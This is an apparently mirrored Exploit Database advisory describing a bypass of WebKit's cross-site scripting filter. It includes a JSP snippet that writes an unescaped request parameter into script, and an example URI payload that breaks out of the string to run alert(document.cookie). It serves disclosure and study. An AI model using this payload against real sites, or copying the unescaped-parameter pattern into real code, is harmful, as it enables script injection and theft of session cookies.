WebKit Cross-Site Scripting Filter – ‘Cross-Site ScriptingAuditor.cpp’ Security Bypass

• Exploit Database
• 91 阅读

• 作者： Tushar Dalvi
  日期： 2012-07-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38024/

• source: https://www.securityfocus.com/bid/56570/info
  
  WebKit is prone to a security-bypass vulnerability.
  
  An attacker can exploit this vulnerability to bypass the cross-site scripting filter mechanism. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials. 
  
  Code in test.jsp:
  
  <title>Test Page</title>
  <script>
  var foo = "<%= request.getParameter("foo") %>";
  document.write("<text>Welcome "+ foo + "</text>");
  </script>
  
  Example URI:
  
  http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1 
  

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